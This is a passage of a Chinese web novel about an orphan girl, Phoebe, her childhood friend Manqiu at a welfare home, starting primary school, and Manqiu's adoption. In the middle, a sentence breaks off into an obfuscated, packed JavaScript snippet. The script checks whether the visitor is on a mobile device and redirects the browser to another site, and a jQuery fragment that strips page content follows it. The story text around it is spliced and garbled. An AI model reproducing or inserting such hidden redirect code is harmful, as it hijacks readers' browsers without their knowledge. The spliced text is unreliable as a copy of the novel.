我喜欢入迷地听满秋讲她在老家的经历，鉴于我从出生开始的大部分童年基本上都待在福利院，几乎没去过外面，我对外面的一切必然很好奇，我知道我是一个井底之蛙，但我想象自己是高塔之上的卷发公主，等着以后有人来解救我。 有时候我觉得这个人是满秋。 当我在塔里听满秋讲各种讨饭续命的事情，就仿佛我同去参与了她那些惊心动魄地冒险之中。我认为满秋是披荆斩棘而勇敢的红发公主，在我的想象当中，这位坚韧的公主穿着一双旧鞋子佩剑行走世界，而且不管是在我的想象当中，还是现实里那个真实的满秋，她的脸上都有好看的小雀斑。 所以我们办家家酒的时候，她有时饰演一位穿靴子的红发雀斑公主。在百姓捐赠的物资里，有一双靴子被满秋千方百计地得到了，这是她从别的女孩子那里换来的靴子，她把自己的鞋子外加喜欢的玩具送给了对方。 其实满秋讲的很多事情，长大后的我自然记不清了，不过我的灵魂守护小菲比的时候，在一旁也听着她们那些叽叽喳喳的小话，心酸地重温了这些困苦的往事。 满秋很喜欢吃实在有弹性的馒头，对于菜粥，她只觉得是续命的东西，仰头咕噜咕噜像喝水一样喝光就行了。而怕饿的我什么东西都吃，她分给我蔬菜丁，我便想掰一半馒头回报她，可是她推拒了，她劝我独自吃完，否则我会没有力气的。 在童年挨过好几次饿，我得了低血糖，低血糖发作的时候，我浑身软绵无力，有些浑浑噩噩，身体发着抖，感到眩晕，这种感觉就像我快油灯枯竭死掉了。 晚上，我在黑暗中躺着饥饿时，有一种抽象的通感，我那副身体中间部位的灵魂很宽，在空气里被酸痛地咬住了，饥饿感磨得我的身魂更加空旷。我想尽量述出这种饥饿的无奈，我不知道其他挨饿的孩子是否与我的感觉一样。 偷食物经验丰富的满秋为了我，从金盆洗手到出山重操旧业。原本她进入彩虹儿童院过了几天好日子以后，就发誓再也不去偷东西了。而讲义气的她见我喝粥喝不饱，晚上饿得难受，有时翻来覆去睡不着，她就违背了自己的誓言。 满秋开始偷一些院儿里的食物藏起来，她所说的吃得多就是这个意思，当夜晚来临，我们在破旧的大房间睡大通铺，趁值班巡逻的保育员打盹睡过去了，她则蹑手蹑脚地下床翻出藏起来的食物，然后悄悄地跑到我的床位来，她会与我藏在被子里一起分享食物，我们啃着冷硬的馒头，吃起宵夜好不快乐。我俩就像唧唧吱吱的小老鼠似的偷啃蜡烛。 有次满秋从我的床位离开正要回去睡觉，不慎被保育员发现了，聪明的她立马装作了梦游的样子，保育员就把她引导回了床位，她微笑着还回头冲我眨了一下眼睛。 我满足地吃饱睡醒的一天，稀稀拉拉的阳光缓缓照入了宿舍，隔壁床一个小男孩儿发梦以后变得神经兮兮，他睡眼惺忪地冤枉我偷他的东西，偷了一条银色的挂坠，这是他被遗弃时身上所带的东西，故此他分外珍惜那条挂坠。他梦见我偷了挂坠的当天，那条挂坠正好不见了。 我反反复复地说，我从来不偷东西，我对天发誓，我真的没有偷。在我澄清自己的某个瞬间，我有了个小人一般的念头，我突然想起了满秋，满秋昨晚在这里待过，会不会是她偷的呢？ 可是小男孩儿不管不顾地认定我是个贼。我差点想说，你可以去问满秋，昨晚我们待在一起。但我最终保持了理智，没有背叛我亲爱的朋友。 小男孩儿对我质问无果，我没有偷根本不可能认下这个可怕的罪名，我在保持清白上是很犟的性格。接着，这个死男孩儿便冲上来揍我，我们在一束阳光照耀过来的片刻厮打在了一起，如同聚光灯打在了擂台上。 我一个人的力气不比他大，当时我的力气却奇怪地变大了，然后我们旗鼓相当，勉强保持揍来揍去的平衡，接着是清晨刚刚苏醒的满秋加入这场打架斗殴，帮我一起生气地揍了回去。她从大通铺上醒来经常首先看向我，看向她这辈子的第一个好朋友，再看向保育员妈妈。 在满秋看见我和臭小子早起斗殴的那瞬间，她二话不说光着脚丫子就飞奔过来，变身为了红发雀斑公主拔剑拯救了我，她拿了保育员妈妈放在桌上的鞭子往小男孩儿身上拼命地抽。孩子们被逐渐吵醒了，有的孩子害怕地哭了起来，但围观斗殴的孩子更多了。 保育员妈妈还以为出了什么大事，这是宿舍里第一次失去秩序，三个小孩像马蜂窝似的混乱，我们挪来挪去地乱打一通，撞得周围噼里啪啦直响，还误伤了其他的孩子，然后其他孩子也加入进来一起打架，一时之间宿舍里混合的哭声和笑声一片，嘈杂不已。 我们鬼哭狼嚎，保育员妈妈叫来了帮手一起分开龙卷风般斗殴的孩子堆，大人们又惊又吓，然没多久就平息了这场风波。 这把梅香院长都惊动了，妈妈们一起审理此案，分别对我们进行问话，也问了问我附近床位的旁观者。 梅香院长了解来龙去脉以后，她并先没有认为我偷东西了，而是反复仔细地问我们各种细节，从昨晚开始讲起，然后满秋跑过来和我一起睡了会儿的事情暴露了，还好没有暴露馒头。 梅香院长和其余几个大人正教训孩子们，主要先训我们发生矛盾就随便动手的恶习，这时值班的保育员妈妈又从男孩儿床位缝隙的板子里，终于找到了挂坠。 那个孩子为此必须先向我们道歉，这是梅香院长要求的。我和满秋没有及时求助保育员妈妈，同时厉害地把男孩儿揍了一顿，害得其他几个孩子都打了起来，我们也得道歉。 大家互相道歉，握手言和。在大人的威严下，我们自行 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梅香院长和保育员妈妈们虽然这样说我们，并且喋喋不休很久，但是斗殴一事过后，梅香院长考虑着重新部署了一下宿舍，安排我和满秋的床位相邻，我们姐妹如愿以偿地挨近，院长吩咐挂坠男孩儿去了满秋以前的床位，我和满秋自此能光明正大地一起睡觉聊天玩闹了。 解决了睡觉的事，我和满秋还得继续想办法解决如何吃饱喝足。早年也有其他的孩子吃不饱，有时是工作人员忙得无意间饿着了孩子，当我们在饥饿下闹出传闻，传出福利院的饭快不够大家吃了，院里的资金不够买米，老天呐，要闹饥荒了，大家都会被饿死的，谁来救救我们…… 有些孩子为此呜呜哭了起来，生怕饿死啦。这种滑稽的传闻传到梅香院长耳朵里后，哭笑不得的她为了破除令孩子们不安的风言风语，便抽空亲自带我们去看仓库里新买的食物和充足的物资。她笑呵呵地请大家都放宽心，别担心有的没的，天塌下来都有大人们顶着呢，中国的政府也不会饿死我们，现在可是新中国啊。 前面有段时间物资和金钱确实不够了，大家才吃小半的馒头和喝稀粥，等有了资助，梅香院长才准备充足地邀请我们看看那些琳琅满目的新物资。 院里的孩子互相打架的事确实有不少，即使是在梅香院长带头看仓库的期间，挨挨挤挤的孩子们都推来推去，总发生矛盾。这可让梅香院长、老师和保育员妈妈们头疼啦，于是他们针对孩子们吵架、打架的问题，想办法展开了一些促进孩子们和谐相处的活动。 比如梅香院长有请大孩子讲述他们是怎么成熟理智地处理矛盾，我们应该学习他们。然后由大姐姐和大哥哥带头表演他们闹矛盾的样子，再如何应对。院儿里的弟弟妹妹天生就喜欢那些天使一样的大孩子，他们会照顾我们，会跟我们一起玩。 所以小孩子慕强，耳濡目染地学习起处理矛盾的和平方式。别忘了我们有个外号是大孩子的跟屁虫。 最初我们所有打过架的孩子都被拎出来，多多沟通，参与了处理矛盾的话剧表演。原本我和满秋搭档到了一起，但上次值班的保育员硬把挂坠男孩儿塞进来一起排练，不得不说，这次是真正的化干戈为玉帛了。 我们在排练的过程中，挂坠男孩儿讲起了自己的身世，他说他记得自己是被抛弃的留守儿童，家里的老人总说，妈妈和爸爸会回来找他的，只要他一直保存着这条挂坠，这条挂坠是他们以前为了他祈福求来的平安福。可是直到他进了福利院都没有看到爸爸妈妈来接他，所以他要在福利院等他们，他相信他的父母会来的。这条挂坠对他来说，比他的生命都要重要，请我们原谅他之前不分青红皂白地发疯，他后知后觉明白被人冤枉的感受一定不好受，如同他以为丢了挂坠那么不好受。 可是其他嘴碎的保育员悄悄地告诉我和满秋说，他的父母其实已经出车祸死了，这个孩子不肯相信事实，才认为他是被父母抛弃的孩子，总有一天，他们回心转意了会回来找他的。 我和满秋同情起了他，也就原谅了他在害怕的情绪里，产生的冤枉和冲动。 院里在每个特定的时间，为了缓和我们不同孩子之间的摩擦，培养团队合作的意识，后来梅香院长和老师们都会组织我们合作画画、踢足球、打篮球、玩捉迷藏和老鹰捉小鸡…… 当孩子们玩得开心起来，矛盾跟着就变少了。 而且后来在彩虹儿童院得到的资助越来越充足后，每几个月就会为这些季节出生，或者捡来的时间相同的孩子办生日庆祝，每次订来的蛋糕都很大，足够让孩子们都吃上好几口。再过了几年，能订的蛋糕就更多了，到时每个孩子都能吃上一盘的蛋糕。 我和满秋可馋蛋糕了，小时候最期待的日子之一，是集体庆祝生日的活动，蛋糕入口即化，甜而不腻，能看见蛋糕的存在并吃上都是梦寐以求的事，我们吃一口就觉得甜香软和的味道从嘴巴里化入了心间。 我和满秋都舔着冰凉的调羹说，这个世界上怎么会有这么好吃的东西呢？可是当我们想起父母，也会黯然神伤，这么好吃的东西对我们来说好像是伴随着伤心的遗弃之日。 香甜的蛋糕很是让人幸福，我和满秋的生日快乐也不快乐，在早晚之间，我们还是得互相说一声： 满秋，生日快乐。 菲比，生日快乐。 4. 满秋 安静郁闷的菲比小小年纪就习惯叹气，她看起来总是有着淡淡的惆怅、心慌和迷茫，平时整个人很懒散，是一种忧郁到不想动的情况。而且她有时候自言自语，对自己比较噜苏，等到了开始上学的时候，小菲比的这种情况就好多了。 在我认识的人里面，满秋是最期待上学的孩子，我跟着她一起期待了。 上小学一年级以前，我们在彩虹儿童院有学前教育的老师教导，大部分残障的孩子就算不能去外面上学，也有院儿里的特殊教育老师教导。而我们相对健全的孩子到了年纪，能在附近区域的公立学校上学。 我们这部分比较健全的孩子去上学前，梅香院长千叮咛万嘱咐地督促我们要把握住学业机会，一定要认真学习，特别是女孩子千万得好好读书，这可以说是我们唯一最好的出路了。 她语重心长地讲道：“女孩子从古至今能有集体上学和体面工作的机会，统共是没几年的，到了新中国以后，社会让女孩子也上学的事情总算开始普及了，这是付出鲜血的前辈很不容易为我们后辈争取来的机会，毛主席也为我们争取了这片天地，让我们妇女能顶半边天，咱们是不是应该要争气点儿呢？不说回报主席的期望，起码以后养活自己独立起来是应该的，你们专心念书上好了学，长大以后就业的路子广，赚了钱就不用一定得嫁人靠别人养活，知道了吗？” “男孩子读不好书就去打工和要饭，女孩子么……” “你们听清楚了，女孩子不好好读书的话，容易被老鬼骗去早早嫁人并傻乎乎生很多小孩。倘若妈妈难产死了以后，孩子就被丢来福利院过你们现在过的生活，人生的接力棒开启悲催的循环，只有读书能打破这种恶性循环，起码让你们有更多的就业机会和人生的各种选择。你们是想嫁人看老公的脸色朝不保夕地过日子，还是想看老板的脸色攒下实实在在的金钱傍身呢？” 梅香院长一而再再而三地告诫我们，她经常开黑色玩笑吓唬女孩子们，总是用那句“女孩子不好好读书，就被老鬼抓去嫁人生小孩，孩子以后也得步我们的后尘来孤儿院。”以此吓人，专门吓我们这些有书念还不珍惜的小女孩儿。 我想院长妈妈也明白，我们很多孩子都很不喜欢福利院的生活。 这种话吓得男孩子一并发问：“梅香妈妈，那么男孩子呢？也嫁人生孩子吗？”鉴于院长是用恐吓的语气讲话，导致我们都害怕起了此事。 梅香院长头头是道地说：“健全的男孩子不好好上学立业，不说娶不到媳妇，以后得当乞丐睡天桥讨饭去，半夜还会遇到强盗打劫，饿得你们哇哇哭，瘦成竹竿子倒地不起……彩虹福利院把你们管到成年以后就够了，有了工作以后回家里来看看才好呢，没工作的男孩儿灰头土脸地一直待在院儿里混吃混喝，完全不是出路，迟早得赶出去，你们都懂了吗？” 不管是女孩儿还是男孩儿都连声说，梅香妈妈，我们懂啦懂啦! 实际上诸如此类的话，没有教年幼的我立马明白过来具体情况，反倒是深深地刻入了满秋的脑子里和内心。满秋毕竟在老家过了不少苦日子，也记得她的爷爷只要喝酒就打奶奶，等老头子清醒了就死皮赖脸地向人求和，却从来不道歉。奶奶是被旧社会的思想洗脑了，认为好女不嫁二夫，离婚不体面，她便一辈子跟着爷爷，早就被打习惯了，觉得不是什么事儿。她对离婚的恐惧反而更大，因为她已经没有赚钱的能力，从十几岁嫁给丈夫开始就没去工作过，也不懂得如何交际。 还好酗酒的爷爷肝硬化早一步死了，奶奶才没有继续挨打了，连奶奶都觉得没有爷爷的日子真好，他死得早，使得她由内而发地感到开心。奶奶唯一很遗憾的是，死了赚钱的骡子，他生前还乱花钱，没给她们婆孙留下什么钱过日子。 在梅香院长讲完上学事宜后，思考过后的满秋又开始给我讲她老家的事了。满秋说他们村里的男人差不多都打老婆孩子，全村都认为是正常的事情，她也是来到了彩虹儿童院听了老师和梅香院长的教导，才知道打孩子、打老婆是不正常并且是犯罪的事情。 他们村有个可怜的女人甚至被刽子手丈夫打死了，可恨的是，那个畜生没坐几年牢加上减刑很快就出来了，因为法官说不是抱着杀人的目的打她。而畜生出来以后，重新娶了一个受气包妻子继续打，打得村里人都能听见她的哀嚎声。 我听得难受，憋屈得胸口有一股气释放不出来，忧伤了起来。满秋不知所措地微笑一下，又讲起了另一件稍微让人舒服的事情。她说村里另个贱男人也爱打老婆，他前妻跑了以后，他又骗了一个女人来做牛做马当受气包，可是这个外地女人是个厉害角色，在他几次动手揍她以后，她趁他晚上睡觉的时候，提起棒槌往他身上狠命地砸，砸得他头破血流，并拿起刀子往他身上割了好几下，一连好几个晚上她都这样折磨他。厉害女人说你要是打不死我，我每天晚上都报复你，还要杀了你!我们同归于尽吧! 从此欺软怕硬的贱男人就没再动手打他的老婆了，他还被村里其他的男人笑话是孬种，连有些被打习惯的女人也说他老婆的坏话，大家都说这成何体统，女人打男人简直是天都要倒过来了。如果贱男人不把他的媳妇打服气，他就不是男人。那些坏蛋都在怂恿他继续打她，可是他见识过媳妇的厉害以后，不敢再挑衅她了。他单是养伤都养了很久，觉得自己没有多余的一条命能折腾。 而满秋和清醒片刻的奶奶觉得她干得好，干得妙，干得贱男人哇哇叫! 不过贱男人从此也得了点儿好处，以后别人找他借钱，或者找他做不愿意干的事情，他都会把自己那彪悍媳妇的名声推出来，拿她开始当家了做借口，直说她不同意，他不敢呢，不然晚上又得削他。她还扬言过，他再动她一根手指头，再不听她的话，她就要趁他晚上睡觉削了他的小鸡鸡，让他做中国最后一个太监。 我听到最后扑哧一声笑了笑，满秋也跟我一起笑了起来，我们莫名笑了半天，笑过以后异口同声地叹了一口气。 在附近听墙角的男孩儿突然说，他们真坏，怎么能老是欺负自己的老婆。梅香妈妈和老师都教我们不能欺负女孩子，要有绅士风度，必须做一个有底线的真男人……真应该派梅香妈妈和老师都去你老家的村里，给那些狗东西上课! 我和满秋点头非常赞成地说，对啊!他们没文化，人品也不好，又蠢又坏。造孽啊，村里怎么全是这样的人，给他们这种人上课有用么…… 说到上课，我和满秋开始幻想明天入学上课是什么样的场景。院儿里为我们准备了崭新的书包，书包里面有上学需要的零零碎碎的东西，这些书包也是别人捐赠的，相当于给每个快去上学的孩子送了礼包。我们十分感恩来自民间百姓默默无闻的资助。梅香院长屡次三番地说过，我们是吃百家饭长大的孩子，等念完了书，步入社会以后，记得回馈社会上其他需要帮助的人们哦。 我和满秋一边记起梅香院长的教导，一边兴奋地把书包礼包翻来翻去，屡次查看里面的好东西。 在梅香院长的引导下，我们最初觉得上学是一件很愉快的事情，暂时对上学充满了美好的幻想和憧憬，可是等日后实际进入学校里面对各种成长的问题，我是一半欢喜一半愁，所幸在刚入学的那会儿，我的身边拥有好朋友满秋陪我度过艰难适应新环境的时刻。 满秋一年级时能跟我一起做伴，我们在同一个班级，主动坐到了一起变成同桌。有她跟我形影不离地说上好多话，我没有那么畏生了。 政府安排我们接受教育免费上学，经过各方面的评估以后，福利院为我们出示了各种证明，我们通过了入学的关卡，便顺顺利利地在附近社区的阳光小学上学。 我们出彩虹儿童院的门口时，孩子们纷纷向门卫爷爷打招呼道别，门卫爷爷笑呵呵地答应了，并叫我们以后考清华北大。我们当时哪儿懂清华北大是什么样的学校，一个个随老人家夸下了海口。因为我是门卫爷爷捡来的孩子，他靠近悄悄地提醒我说，小菲比啊，你要是考上了大学，爷爷就把私房钱分给你。你上小学成绩好的话，我也给你零花钱用。 我满心欢喜地一口答应了爷爷。 我身边的满秋听到了悄悄话，撒娇说，爷爷，我也要。 门卫爷爷赶紧答应好好好，你们上好了学都有零花钱。 可惜我后来让门卫爷爷失望了，我的成绩不算好，还好有聪慧的满秋让他高兴。他老人家说到做到私下发零花钱奖励满秋的时候，也还是发钱给我了。我们答应了爷爷不能声张此事，他偏心我俩怎么能让别人知道，他也要点老脸。 我和满秋就把零花钱带到学校里，下课了飞奔去小卖部买零食吃，也把一些零食藏在书包里带回宿舍，晚上在被子里窸窸窣窣地吃宵夜。 姐妹吃饱喝足后上学更有劲儿，第二天步行去学校的路上都蹦蹦跳跳的。 彩虹儿童院派了值班的人员专门接送我们上下学，我们有时候拥挤地坐车，有时候自由自在地走路，因为不新不旧的学校离家不远，而彩虹儿童院里的车子有时候需要去拉货。 我们一年级的班主任老师长得很有古典韵味，气质比长相更加，此女越看越好看。班主任姓赵，她向新生做自我介绍的时候说是完璧归赵的赵，优雅的赵老师穿着一条有汉元素的素色裙子，白皙的长脸上化了淡妆，在我和满秋看来，她是天女下凡间来教小朋友学知识了。 我很庆幸她是教语文的老师，这是我和其他孩子几乎都喜欢的重要课程和老师，我们另外喜欢的是打扮时髦的音乐老师，语文和音乐的美好赋予了我们感知和品味生活之美的时刻，也能抒情诗意地回忆过往。 满秋什么课程都喜欢，她第三喜欢的是数学，她真的很用功地学习，才上一年级，几乎每门课都是优等的成绩，她每张卷子上几乎都打了“优”这个字。老师们也都很喜欢她，谁不喜欢尖子生和三好学生呢？因为我俩是朋友，老师们提醒满秋多帮帮小菲比落后的成绩。 不用老师们提醒，满秋早就在一开始帮我补课了。她不仅是我这辈子第一个好朋友，也成为了我这辈子认下的最小的老师。 我的数学成绩不好，数学老师不喜欢我，她会不耐烦地扯我的头发和掐我的皮肉，我后来写信把她举报了，她对孩子们的恶行就收敛了起来，后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630346|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不冷不热地教学生知识，很少再动手了。 满秋帮我补课的时候叹息，菲比，你在理科方面差点儿天赋，不怪你，得怪上天。你语文就比我好呀，我数学比你好，互相教教，那就扯平了。她还说，菲比得不着门卫爷爷的零花钱不打紧，这不是还有她吗？她至少有好几科成绩能得优，我们的零食经费不在话下。 我和满秋在学校互帮互助地快乐度日也不过一整年，学习优异和各方面资质不错的她就被领养走了，最后竟然让人痛心疾首又欣慰地转了学，源自于她的养父母想把她带到环境更好的学校接受栽培。 自从她走了，我上学感觉没多有意思啦，数学成绩跟着退步了。还好我的语文成绩和艺术课方面的成绩保持稳定地慢慢进步呢。 满秋被人领养走后，她第一次来探望我的那天，我早早就在门口等着，她从养父母的车上下来，迫不及待地进门跑向我，珍惜地拥抱住了我，哭兮兮地说了几句：菲比，我很想念你，你是我这辈子第一个好朋友，我却不能经常再见到你了。我吃饭在想念你，上课在想念你，睡觉也在想念你，总是走神，连成绩都下降了，我一整天都在想念你……我是说真的，要是爸爸妈妈也领养你就好了，可是他们说家里的条件最多只能领养一个孩子，我想念你的话，就等他们抽空来带我见见以前的家和朋友。 年幼时内向的我没法一下子向满秋表达出那么多动听的话来，我不断地说，我也是，我也是。然后再酝酿着告诉她，彩虹儿童院和学校里都没有她的身影以后，我如何度日如年，生不如死。早知道我们相处的时间这么短，当初吵架我就不该跟你有任何一次的绝交，那真浪费我们的生命。 我们抒情肉麻地叙旧片刻，她才向门卫爷爷打招呼，老态龙钟的门卫爷爷开玩笑说，他知道了，显然在满秋的心里，小菲比的地位比他高一些。他就算最年长有什么用呢？比不得活泼好玩的小孩子。 满秋牵着我和她的父母并左右摇摆身体，她真诚地说：“没有啦，爷爷，我所有的亲人在我心里都一样重要，我爱你们。” 满秋的养父母一见面很快拥抱了我，妈妈和爸爸轮流把我亲热地抱起来，甚至亲吻了我的脸颊，我高兴得满脸通红，一直急促地喊他们，姐姐、妈妈和爸爸。这是满秋在家里向他们提出的要求，她希望我也能获得这对父母的一点爱意。 满秋比我大一些，所以我也叫她姐姐。 后来我在彩虹儿童院里每天最盼望的事情，是满秋带着养父母来探望我，他们一家人能一起拥抱我，亲吻我的额头和脸颊。即使他们不带任何礼物，能与我互动温存片刻，一起玩闹，说说心里话，我就满足了。 可是满秋最后一次来探望我的时候，犹犹豫豫地告诉了我一个天大的噩耗，我如遭雷击，仿佛又被天上落下的冰雹砸了很多下，不能自已地哭了。那就是她得随养父母工作的升迁，不得不搬去别的城市，她以后很难再来看我了，如果可以，她一定会再次来与我见面。她还准备了一张卡片让我保存好了，上面写了她新家的地址和电话，希望我长大了以后能去找她见面，彼此再续前缘。 最后由于我们家庭的差距，我和满秋几乎没怎么见过面了，但我们彼此的关系深深地存在了艰辛的童年里，我们是对方的光明记忆，是难以割舍的同伴缘分。 满秋，如果可以，等我长大了或许能来找你。当年我是这么想的。 如今，我的灵魂问道，为什么你后来再也没有来找过我。那么满秋，你在等我吗？如果你知道我死了，你还会为我伤心难过吗？ 我的朋友，我似乎活得没有你明亮，你有不同的前程，我只要想起来就真心祝福着你，只是请原谅，我不愿意再让你见到我这副模样。 你是我人生中的几缕阳光和引路灯之一，温暖地照亮了我曾经努力生存的小路以及上学的道路，可我仍然不及你。 我记忆里最熟悉的老友满秋，当年我们初次见面，你就在阳光下活力青春地冲我奔了过来，你对我说，我们可以做朋友吗？ 你经历了很多困难，却还是那么勇敢开朗。你多么聪慧过人，多么野性有力量，你学习起来的样子很美丽，你排名前三的成绩就是梅香院长和其他妈妈口中最得意的女儿，我不齿地羡慕并嫉妒着你。但是我也喜欢你的强大和灵活，你记得你为我偷的那半块馒头，不经意地滚到暴躁保姆办公室里的惊险时刻吗？你与我匍匐着前进找回了半块治疗我低血糖的馒头，食物就是生命，我们好像终身都在为生存做斗争。 你还记得我们在办家家酒时，我让你做我的妈妈吗？过去的我真的把你当作了我的小妈妈，我要你拥抱着爱我，催你为我朗诵书籍，为了让你继续爱我，我把你所有的习惯也变成了我的全部，可惜就是没有学会如何变得成绩优异。愿你永远逃离了孤儿院，一直拥有美好的家庭，从此如童话公主幸福快乐地生活下去。也许，你在阳光草地上奔跑时也能回头再看一眼我，高塔上的我就知足了。 爱你的小菲比和大菲比今生至死都不会忘了你。我会爱着记忆中的你，也爱着未来明朗的你。 你的好朋友李菲比。 5. 新朋友 失去了亲密的挚友，年幼的那个我进一步学习独立这件事，这对我那会儿来说很困难，虽则有时候学习得不那么成功，然我想象着满秋与我一起活蹦乱跳地战斗，我不再忍气吞声，继续与生存和欺负我的人们搏斗。 当我为满秋离去而哭泣的那些难过日子，梦境里的妈妈环抱着我久久宽慰道：在这个世界上，所有的人都要学会走向自己的人生道路，我们如同上了一辆开得忽慢忽快的列车，身边的同伴会随时不断地下车，重要的不是时刻担心他们何时下车，不是要求他们会陪你走向你的终点站，而是我们的心态，是我们在路途中一起经历事情的过程和看过的风景，这些美妙深刻的回忆能成为我们向前迈进的力量。只要你记得住能随时想起来，昔日的画面存在你的脑海中，一切便永远不会消逝。当然，就算你忘记了，你的潜意识和本能都不会忘。 小菲比能大概记住这段话表达的意义，归功于自己未来的灵魂。不过我更应该感谢的是院长梅香妈妈，这段话是她先宽慰地拍着小菲比的肩膀，谆谆教导那个失落的孩子。而小菲比忘记了梅香妈妈第一遍说的话，只记得梦里的妈妈反复地噜苏。 是啊，长大后的我也成为了自己的妈妈，在精神上一起养育小菲比，时不时地帮助她度过曾经以为过不去的坎儿。 新学期，小菲比在学校观察着其他小朋友，想重新找个伴儿，她慢慢交到了新朋友。起先她从不考虑男生，她感觉和男生玩到一起很难为情，其他的女孩子会故意问你是不是喜欢那个男生？你们俩在谈恋爱吗？ 在当时，我觉得这是一种耻辱，我严防死守地不轻易喜欢上异性，除了对院里的大哥哥和弟弟们示好相处，我尽量回避着学校里那些幼稚的同龄男同学。更不用说是我们班那群滑稽得跟小丑一样的男生，可是我最终险些和一个男孩儿成为好朋友，后来另个女孩子的靠近，使得小菲比选回了自己要求的交友条件。 有一次体育课大家散开自由活动，小菲比坐在小花坛旁边的树下乘凉，她看见班上一个男生不停地摇晃一棵小树，心里觉得那真粗鲁，好不文明。只有她鼓起勇气上去阻止了他，问道：“喂，西伯利亚，你为什么要这样摇晃树？” 他的名字有点儿特别——陆西伯。反正读起来朗朗上口，很好记。不过我们都管他叫西伯利亚，对于这个外号他不讨厌也不喜欢，一副随你怎么叫的态度。 这是班上的男生到处给人取外号取出来的“西伯利亚”，他们还管小菲比叫“非比寻常”，她对这个外号也不排斥，至少不像其他人被叫丑猴子、狗头、野猪精、狐狸精、牛魔王、猪八戒等各种动物要难听。 西伯利亚解释，他玩真心话大冒险输了，他的兄弟们居然叫他来操树呢!最好臊得树叶满天飞。 他说话可粗了：“我草，这树可难操了!把我甩得晕头转向，霸王硬上弓也掰不动啊!混蛋，我干死你!你得怪那几个叫我干你的傻逼。” 这就是我们班女生不爱和男生一起玩的理由，从小学开始，班上的男生日常已满口脏话很粗鲁，有时男生们的话听得人既嫌弃又发笑。他们甚至小小年纪就会说各种黄色笑话，难以理解他们生活的环境是怎么样的，我会去想，他们的爸爸妈妈说不定没有福利院的大人有素养。 至少在我们彩虹儿童院，梅香院长和各位妈妈会教育我们不准说粗话，女生要淑女、男生要绅士，只要一起文明起来，有各种各样的性格都可以，但是不能随便满口脏话地骂别人，因为这很容易影响别的孩子学坏，还容易挨骂挨揍。 我对西伯利亚的回答颇为无语，也差点笑出来，无语到想笑。他长得挺丑萌的，大脸属实奇形怪状，上面的五官好像一座座曲折离奇的山脉，脸盘子上斑斑点点的仿佛长了不少杂物。这是我小时候见到他的第一感，而我从来不会直接当面去说别人丑，如果有人在嘴上直接形容别人的外貌丑陋，我会批评对方。 在我们院儿里有健全的孩子骂过其他的残障儿：长得丑，是丑八怪，是怪物…… 玉琴妈妈非常生气地体罚了坏嘴巴的孩子，她教训着掐了对方的嘴巴，最后使其面壁思过，并写下很多字的检讨书。玉琴妈妈是院儿里专管残障孩子的最辛苦的保育员之一，她将他们都当做了自己的孩子，所以不容许有谁伤害他们。 类似小菲比热爱大自然，有管理班级里的绿化区域的责任，不容许有人伤害树木。她叹气对西伯利亚说：“你就不能做做样子敷衍他们吗？你使劲儿地摇晃小树，它会坏掉的，我刚刚看见体育老师朝你这边看了几眼，你要是再摇下去，我想体育老师会来揪你的耳朵了。” 体育老师确实会揪一些调皮男生的耳朵，然而他正在和别的老师聊天，暂时没有注意这里，是她骗了西伯利亚。 西伯利亚收手了，他很忌惮体育老师，原来他被老师揪过不少次耳朵，而且揪得满耳通红，小菲比看了这场景都感觉耳朵又热又痛。 这个粗鲁且单纯的男生谢谢了小菲比的提醒和为他出的主意，他飞奔着跑回了篮球场笑哄哄的男生堆里。那些男生好像在问西伯利亚，你们之间说了什么。 同学们隔得比较远，小菲比听不清西伯利亚的回答，只听到了其他男生扯着嗓子也附和了她的提醒，他们莫名都在答应她，什么好的好的。她一头雾水，不过看他们收敛起来的情况，好像是相信体育老师注意到了他们。 人与人传话果然是会传变的，下课后西伯利亚对小菲比说，他告诉他们，体育老师派她来警告他们不要玩得太过分，她会帮体育老师盯着他们的，然后他就不用拼命地摇晃小树装作臊它了。 西伯利亚一边走路说话，一边突然跳起来做出投篮的动作，随后他告诉小菲比，他这是学他哥耍酷呢，他上中学的哥哥经常不厌其烦地做这个投篮的动作，自以为很帅。所以他也觉得很帅。 小菲比忍不住告诉西伯利亚：“其实……没有那么帅……可能看起来还有点儿糗。”实际上长大后的我都很想说，看起来分明是傻到有点儿欠扁。 西伯利亚失望地问：“啊，在你们女生眼里这是真的吗？那我得回去好好跟我哥建议一下……本来我也觉得我们练习投篮的动作挺帅来着……” 西伯利亚似乎容易接受别人的意见，我姑且认为他的性格容易与人相处。 大家中午在教室吃饭的时候，西伯利亚那桌离小菲比挺近，我看见他吃完饭以后咬了咬后槽牙，又舔了舔后槽牙，然后将嘴巴扯开把大牙缝隙里的韭菜终于舔了出来，也用手指抠出了残渣。他竟然还从裤兜里搜出一根牙签，他噘着嘴悠闲地剔牙，那张大嘴巴跟骆驼嘴巴似的怪极了。 怪不得西伯利亚的牙缝很宽，他细细小小的牙齿仿佛被牙医用钻头磨过一般。 这让大菲比和小菲比都有一种合上他嘴巴的冲动。西伯利亚就是这样，别人一面有些嫌弃他，一面又觉得是有理由的。 小菲比忍不住问他，你的嘴巴为什么要撅来撅去…… 西伯利亚说，吃完饭以后得把牙剃干净，不然会长蛀虫。 我恍然大悟，难怪他总是咬舔着搞他的牙齿缝隙，起初我以为这男孩子再次颠了似的地耍帅呢，原来只是在呲牙咧嘴地认真清理牙齿，是我误会了。 西伯利亚虽然长得滑稽，干一些让人摸不着头脑的事情，也爱说些口头禅粗话，但性格还算大方可爱。他不仅会借漫画书给小菲比看，请求她教他写作文，另个多动症的男同学跟菲比抢上漫画的话，他还会把人家揍一顿，警告对方不许欺负女孩子，先来后到，让语文课代表先看啊。 有了西伯利亚的公平审判，我那蠢蠢欲动想收拾多动症男孩儿的灵魂都不用出手了。现在我判断小菲比和西伯利亚做朋友也还不错。不过小菲比已经开始和其他的女生走近了。 我的好朋友转学以后，小菲比的同桌变成了另一个秀气的女生，这个女生是在新学期刚转学过来的学生。学生中午吃饭都是轮流值班去食堂搬饭桶和菜桶的，今天正是轮到了小菲比和同桌一起去打饭。 